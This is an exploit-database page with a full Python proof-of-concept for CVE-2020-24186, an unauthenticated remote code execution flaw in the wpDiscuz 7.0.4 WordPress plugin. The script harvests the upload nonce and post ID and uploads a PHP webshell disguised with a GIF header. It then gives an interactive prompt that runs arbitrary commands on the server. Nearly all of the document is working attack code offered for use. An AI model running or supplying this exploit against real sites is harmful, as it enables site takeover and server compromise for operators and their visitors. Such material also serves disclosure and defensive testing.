Share
## https://sploitus.com/exploit?id=PACKETSTORM:163012
#!/bin/python3  
  
# Exploit Title: WordPress Plugin wpDiscuz 7.0.4 - Unauthenticated Remote Code Execution  
# Google Dork: N/A  
# Date: 2021/06/08  
# Exploit Author: Fellipe Oliveira  
# Vendor Homepage: https://gvectors.com/  
# Software Link: https://downloads.wordpress.org/plugin/wpdiscuz.7.0.4.zip  
# Version: wpDiscuz 7.0.4  
# Tested on: Debian9, Windows 7, Windows 10 (Wordpress 5.7.2)  
# CVE : CVE-2020-24186  
# Thanks for the great contribution to the code: Z3roC00l (https://twitter.com/zeroc00I)  
  
import requests  
import optparse  
import re  
import random  
import time  
import string  
import json  
  
parser = optparse.OptionParser()  
parser.add_option('-u', '--url', action="store", dest="url", help="Base target host: http://192.168.1.81/blog")  
parser.add_option('-p', '--path', action="store", dest="path", help="Path to exploitation: /2021/06/blogpost")  
  
  
options, args = parser.parse_args()  
  
if not options.url or not options.path:  
print('[+] Specify an url target')  
print('[+] Example usage: exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost')  
print('[+] Example help usage: exploit.py -h')  
exit()  
  
session = requests.Session()  
  
main_url = options.url  
path = options.path  
url_blog = main_url + path  
clean_host = main_url.replace('http://', '').replace('/wordpress','')  
  
def banner():  
print('---------------------------------------------------------------')  
print('[-] Wordpress Plugin wpDiscuz 7.0.4 - Remote Code Execution')  
print('[-] File Upload Bypass Vulnerability - PHP Webshell Upload')  
print('[-] CVE: CVE-2020-24186')  
print('[-] https://github.com/hevox')  
print('--------------------------------------------------------------- \n')  
  
def csrfRequest():  
global wmuSec  
global wc_post_id  
  
try:  
get_html = session.get(url_blog)  
response_len = str(len(get_html.text))  
response_code = str(get_html.status_code)  
print('[+] Response length:['+response_len+'] | code:['+response_code+']')  
  
raw_wmu = get_html.text.replace(',','\n')  
wmuSec = re.findall('wmuSecurity.*$',raw_wmu,re.MULTILINE)[0].split('"')[2]  
print('[!] Got wmuSecurity value: '+ wmuSec +'')  
raw_postID = get_html.text.replace(',','\n')  
wc_post_id = re.findall('wc_post_id.*$',raw_postID,re.MULTILINE)[0].split('"')[2]  
print('[!] Got wmuSecurity value: '+ wc_post_id +' \n')  
  
except requests.exceptions.ConnectionError as err:  
print('\n[x] Failed to Connect in: '+url_blog+' ')  
print('[x] This host seems to be Down')  
exit()  
  
  
def nameRandom():  
global shell_name   
print('[+] Generating random name for Webshell...')  
shell_name = ''.join((random.choice(string.ascii_lowercase) for x in range(15)))  
time.sleep(1)   
print('[!] Generated webshell name: '+shell_name+'\n')  
  
return shell_name  
  
  
def shell_upload():  
global shell  
print('[!] Trying to Upload Webshell..')  
try:  
upload_url = main_url + "/wp-admin/admin-ajax.php"  
upload_cookies = {"wordpress_test_cookie": "WP%20Cookie%20check", "wpdiscuz_hide_bubble_hint": "1"}  
upload_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------2032192841253859011643762941", "Origin": "http://"+clean_host+"", "Connection": "close", "Referer": url_blog}  
upload_data = "-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nwmuUploadFiles\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmu_nonce\"\r\n\r\n"+wmuSec+"\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmuAttachmentsData\"\r\n\r\n\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmu_files[0]\"; filename=\""+shell_name+".php\"\r\nContent-Type: image/png\r\n\r\nGIF689a;\r\n\r\n<?php system($_GET['cmd']); ?>\r\n\x1a\x82\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"postId\"\r\n\r\n"+wc_post_id+"\r\n-----------------------------2032192841253859011643762941--\r\n"  
check = session.post(upload_url, headers=upload_headers, cookies=upload_cookies, data=upload_data)  
json_object = (json.loads(check.text))  
status = (json_object["success"])  
  
get_path = (check.text.replace(',','\n'))  
shell_pret = re.findall('url.*$',get_path,re.MULTILINE)  
find_shell = str(shell_pret)  
raw = (find_shell.replace('\\','').replace('url":"','').replace('\',','').replace('"','').replace('[\'',''))  
shell = (raw.split(" ",1)[0])  
  
if status == True:  
print('[+] Upload Success... Webshell path:' +shell+' \n')  
else:  
print('[x] Failed to Upload Webshell in: '+ url_blog +' ')  
exit()  
  
except requests.exceptions.HTTPError as conn:  
print('[x] Failed to Upload Webshell in: '+ url_blog +' ')  
  
return shell  
  
  
def code_exec():  
try:  
while True:  
cmd = input('> ')  
codex = session.get(shell + '?cmd='+cmd+'')  
print(codex.text.replace('GIF689a;','').replace('๏ฟฝ',''))  
except:  
print('\n[x] Failed to execute PHP code...')  
  
  
banner()  
csrfRequest()  
nameRandom()  
shell_upload()  
code_exec()